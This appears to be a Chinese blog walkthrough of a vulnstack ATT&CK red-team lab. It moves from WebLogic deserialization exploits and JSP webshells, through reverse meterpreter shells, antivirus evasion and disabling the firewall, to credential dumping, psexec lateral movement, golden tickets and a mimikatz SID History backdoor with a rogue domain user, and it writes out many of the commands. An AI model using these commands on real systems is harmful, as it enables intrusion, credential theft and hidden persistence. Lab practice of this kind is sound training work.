ATT&CK红队评估实战靶场(二)

前言

第二个靶机来喽,地址:vulunstack

![](https://img-blog.csdnimg.cn/20210328163043328.png?x-oss-
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环境配置

大喊一声我淦!!!!!
配个网络配置弄了半天

配置信息

DC
IP:10.10.10.10
OS:Windows 2012(64)
应用:AD域

WEB
IP1:10.10.10.80
IP2:192.168.47.131
OS:Windows 2008(64)
应用:Weblogic 10.3.6MSSQL 2008

PC
IP1:10.10.10.201
IP2:192.168.47.130
OS:Windows 7(32)

攻击机
IP:192.168.47.128
WEB,PC 有360和防火墙

网络配置:

  • 内网默认网段为10.10.10.1/24
    DMZ默认网段为 192.168.111.1/24
    管理员 Administrator / 1qaz@WSX

![](https://img-blog.csdnimg.cn/20210328163247464.png?x-oss-
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内网

首先添加一个vm2的内网自定义,设置子网为10.10.10.1/24

当虚拟机开启时,会采用已经设定过的ip地址(必须符合10.10.10开头)

![](https://img-blog.csdnimg.cn/20210328163318747.png?x-oss-
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将DC,PC,WEB 设为 vm2 (内网环境)


外网

内网设置好了,外网这样设置

我设置的外网连接方式为NAT

将 攻击机,PC,WEB 外网设置为NAT,为了与kali在同一网段

PC与WEB做修改如下:

![](https://img-blog.csdnimg.cn/2021032816341322.png?x-oss-
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需要管理员权限: Administrator / 1qaz@WSX

![](https://img-blog.csdnimg.cn/20210328163428153.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
选择自动获取ip,自动获取DNS

![](https://img-blog.csdnimg.cn/20210328163446644.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
PC :

![](https://img-blog.csdnimg.cn/20210328163502316.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
WEB :

![](https://img-blog.csdnimg.cn/20210328163517553.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)


开启web服务

开启WEB的服务:管理员身份运行

![](https://img-blog.csdnimg.cn/20210328163612230.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)

![](https://img-blog.csdnimg.cn/20210328163623526.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
Kali访问如下即配置成功

![](https://img-blog.csdnimg.cn/20210328163642358.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)


突破边界

端口

Nmap 端口:

发现445 7001 3389 135等

![](https://img-blog.csdnimg.cn/2021032816383547.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)

7001开启 weblogic v10.3.6.0


漏洞扫描

AWVS扫描:

![](https://img-blog.csdnimg.cn/20210328163912995.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
显示存在weblogic漏洞:

![](https://img-blog.csdnimg.cn/20210328163926549.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
WeblogicScan 扫描:

![](https://img-blog.csdnimg.cn/20210328163939670.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
攻击面:

  1. 后台爆破
  2. Java反序列化漏洞
    CVE-2017-3506 漏洞存在
    CVE-2019-2725 漏洞存在
    CVE-2019-2729 漏洞存在

端口攻击

1.后台:爆破就算了

![](https://img-blog.csdnimg.cn/2021032816410517.png?x-oss-
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2.MSF

1). CVE-2019-2725

exploit/multi/misc/weblogic_deserialize_asyncresponseservice

![](https://img-blog.csdnimg.cn/20210328164159451.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
![](https://img-blog.csdnimg.cn/20210328164208550.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
设置目标为windows:

![](https://img-blog.csdnimg.cn/20210328164219754.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
失败:

![](https://img-blog.csdnimg.cn/20210328164232980.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)


2). MS17_010

![](https://img-blog.csdnimg.cn/2021032816434483.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
失败:

![](https://img-blog.csdnimg.cn/20210328164355695.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
![](https://img-blog.csdnimg.cn/20210328164420297.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)


漏洞webshell

weblogic漏洞上传木马工具

利用java反序列化利用工具上传木马

![](https://img-blog.csdnimg.cn/20210328164502554.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
Tasklist 查看进程 发现360:

![](https://img-blog.csdnimg.cn/20210328164521628.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
匹配是什么杀软:

![](https://img-blog.csdnimg.cn/20210328164540420.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)


木马获取shell

weblogic上传木马路径选择:weblogic上传路径

方法1:把shell写到控制台images目录中:

\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp              //目录上传木马

访问 http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp

方法2:写到uddiexplorer目录中

\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp   //目录写入木马,

访问 http://*.*.*.*:7001/uddiexplorer/shell.jsp

方法3:在应用安装目录中

\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp   //目录写入木马,

访问 http://*.*.*.*:7001/项目名/shell.jsp

这里选择第一种

冰蝎

上传冰蝎的jsp马

![](https://img-blog.csdnimg.cn/20210328165358765.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
成功连接:

![](https://img-blog.csdnimg.cn/20210328165409491.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
systeminfo查看一下 主机信息,补丁等

![](https://img-blog.csdnimg.cn/20210328165439727.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
反弹shell :

根据提示操作即可

msf set payload java/meterpreter/reverse_tcp

![](https://img-blog.csdnimg.cn/20210328165509794.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
![](https://img-blog.csdnimg.cn/20210328165625992.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)


MSF马

想用msf的马反弹给msf失败:

![](https://img-blog.csdnimg.cn/20210328165656348.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
进行免杀:
bamcompile免杀

生成php后门:

![](https://img-blog.csdnimg.cn/20210328165827322.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
免杀以下转成exe文件:

![](https://img-blog.csdnimg.cn/20210328165850896.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
监听上线 Php/meterpreter: 感觉不好用

![](https://img-blog.csdnimg.cn/20210328165916522.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)


cs马

第一次使用cobalt strike:

设置监听:

![](https://img-blog.csdnimg.cn/20210328170010889.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
![](https://img-blog.csdnimg.cn/20210328170018434.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
冰蝎上传木马:

![](https://img-blog.csdnimg.cn/20210328170035883.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
![](https://img-blog.csdnimg.cn/20210328170045608.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)


Godzilla(哥斯拉)

![](https://img-blog.csdnimg.cn/20210328170129681.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
![](https://img-blog.csdnimg.cn/20210328170138415.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
反弹shell: jmeterpreter

![](https://img-blog.csdnimg.cn/20210328170200803.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)


weblogic CVE EXP

利用攻击脚本

![](https://img-blog.csdnimg.cn/20210328170257476.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
![](https://img-blog.csdnimg.cn/20210328170303659.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
![](https://img-blog.csdnimg.cn/20210328170311584.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
感觉以上的meterpreter都不好使


windows后门免杀处理

去exploit-db下载对应cve-2019-2725 exp

![](https://img-blog.csdnimg.cn/20210328170357767.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
生成一个powershell的木马:

![](https://img-blog.csdnimg.cn/20210328170412400.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
然后进行免杀:Invoke-Obfuscation

![](https://img-blog.csdnimg.cn/20210328170459139.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
注:我免杀之后字符太长了,以至于后面运行时出错,在经过免杀后应该是能bypass360的,所以后面把靶机的360暂时关了,成功获取权限,至于免杀,会再学习的

将exploit的内容替换为木马的内容:

![](https://img-blog.csdnimg.cn/2021032817055385.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
设置监听:

![](https://img-blog.csdnimg.cn/20210328170605768.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
运行exploit:

![](https://img-blog.csdnimg.cn/20210328170624854.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
没反应:

![](https://img-blog.csdnimg.cn/20210328170639743.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
原来是设置payload的问题,改为这样:去掉 x64

![](https://img-blog.csdnimg.cn/20210328170712803.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
获得meterpreter:

![](https://img-blog.csdnimg.cn/20210328170754283.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
顺便关掉防火墙:

netsh advfirewall set allprofiles state off

![](https://img-blog.csdnimg.cn/20210328170818189.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
这里我有个疑问,就是meterpreter的类型不同会对操作有什么影响,比如以上的
phpmeterpreter,javameterpreter,windowsmeterpreter ?


内网渗透

msf派生cs shell

Msf命令注入设置为cs所监听的也就是本机:

![](https://img-blog.csdnimg.cn/20210328170958168.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
Cs设置监听后上线:

![](https://img-blog.csdnimg.cn/20210328171014104.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)


信息收集

凭证收集
hashdump
logonpasswords

![](https://img-blog.csdnimg.cn/20210328171121563.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
![](https://img-blog.csdnimg.cn/2021032817113188.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)


域内信息

1). 本机信息收集

 Systeminfo  //查看操作系统信息
 Ipconfig /all   //查询本机ip段,所在域等
 Whoami   //查看当前用户权限
 Net user	//查看本地用户
 Net localgroup administrators	//查看本地管理员组(通常 包含域用户)

![](https://img-blog.csdnimg.cn/20210328171250920.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
![](https://img-blog.csdnimg.cn/20210328171338704.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
得知web服务器为Windows server 2008 有两个网段

2). 域内信息收集

net config workstation     // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net view /domain              // 查看域
net time /domain           // 主域服务器会同时作为时间服务器
net user /domain      // 查看域用户
net group /domain     // 查看域内用户组列表
net group "domain computers" /domain      // 查看域内的机器
net group "domain controllers" /domain          // 查看域控制器组
net group "Enterprise Admins" /domain    // 查看域管理员组

![](https://img-blog.csdnimg.cn/20210328171442369.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
![](https://img-blog.csdnimg.cn/20210328171448634.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
![](https://img-blog.csdnimg.cn/20210328171454574.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
域名为de1ay.com 存在两台域主机web和pc 域控为DCde1ay.com主机名为DC,域管理员为Administrator


横向移动

路由代理

![](https://img-blog.csdnimg.cn/20210328171534588.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)


内网扫描

arp扫描网段:

run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24

![](https://img-blog.csdnimg.cn/20210328171628597.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
扫描存活主机:

use auxiliary/scanner/netbios/nbname

![](https://img-blog.csdnimg.cn/20210328171651987.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
这就奇怪了明明有10.10.10.201但是存活主机没有,后来知道是 PC 防火墙开启的原因


版本扫描

 use auxiliary/scanner/smb/smb_version

dc为 windows2012

![](https://img-blog.csdnimg.cn/20210328171812715.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
Pc为win7:

![](https://img-blog.csdnimg.cn/20210328171823448.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)


尝试攻击

永恒之蓝

DC直接蓝屏

![](https://img-blog.csdnimg.cn/20210328171931339.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)


psexec

可用cs的,也可用msf的

CS

对目标网段进行端口存活探测,因为是psexec传递登录
仅需探测445端口

得到10.10.10.201和10.10.10.10 :

![](https://img-blog.csdnimg.cn/20210328172036454.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
新建监听:

![](https://img-blog.csdnimg.cn/2021032817210443.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
![](https://img-blog.csdnimg.cn/20210328172122364.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
用获取过的密码登录:

![](https://img-blog.csdnimg.cn/20210328172142603.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
上线:

![](https://img-blog.csdnimg.cn/20210328172202209.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
PC 一直上不去:

![](https://img-blog.csdnimg.cn/20210328172225156.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)


MSF
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set smbuser administrator
set smbpass 1qaz@WSX

![](https://img-blog.csdnimg.cn/20210328172310504.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
![](https://img-blog.csdnimg.cn/20210328172324587.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
域控算是拿下


IPC$

这个与第一个靶机最后共享c盘一样

关于PC

Pc一直出现问题,存在工作站与域之间不信任关系,然后我退域进域一直没有解决问题,所以就放弃pc了


域控权限维持

以下方法借鉴参考中的公众号

Golden Ticket(黄金票据)

黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system
权限了,还可以使用黄金票据做权限维持,即使日后当域控权限掉了,也可以再通过域内其他任意机器伪造票据重新获取最高权限。

黄金票据的前提:

1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名

![](https://img-blog.csdnimg.cn/20210328173728628.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
在域控获得KRBTGT账户NTLM密码哈希和SID

在这里插入图片描述

SID: S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
KRBTGT: 82dfc71b72a11ef37d663047bc2088fb

填上对应参数 :

![](https://img-blog.csdnimg.cn/20210328173853685.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)

票据伪造成功

![](https://img-blog.csdnimg.cn/20210328173921889.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
执行命令:

![](https://img-blog.csdnimg.cn/20210328173951464.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)


SID History域后门

在Windows中,每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID
History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID
History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz,可以将SID
History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID
History作为实现持久化的方法。

首先我们在域控制器上新建一个恶意用户“whoami”:

net user whoami Liu78963 /add

然后像之前一样用shellcode_inject启动mimikatz,然后执行如下命令,将域管理员Administrator的SID添加到恶意域用户 whoami 的SID History属性中

privilege::debug
sid::patch
sid::add /sam:whoami /new:Administrator   //将Administrator的SID添加到whoami的SID History属性中

![](https://img-blog.csdnimg.cn/20210328174752670.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)

注意:在使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID
History属性;mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。

然后,我们可以用powershell查看一下这个whoami恶意用户的SID History:

load powershell
powershell_shell
Import-Module activedirectory
Get-ADUser whoami -Properties sidhistory
Get-ADUser administrator -Properties sidhistory

![](https://img-blog.csdnimg.cn/20210328174806551.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzMjYzNzg5,size_16,color_FFFFFF,t_70#pic_center)
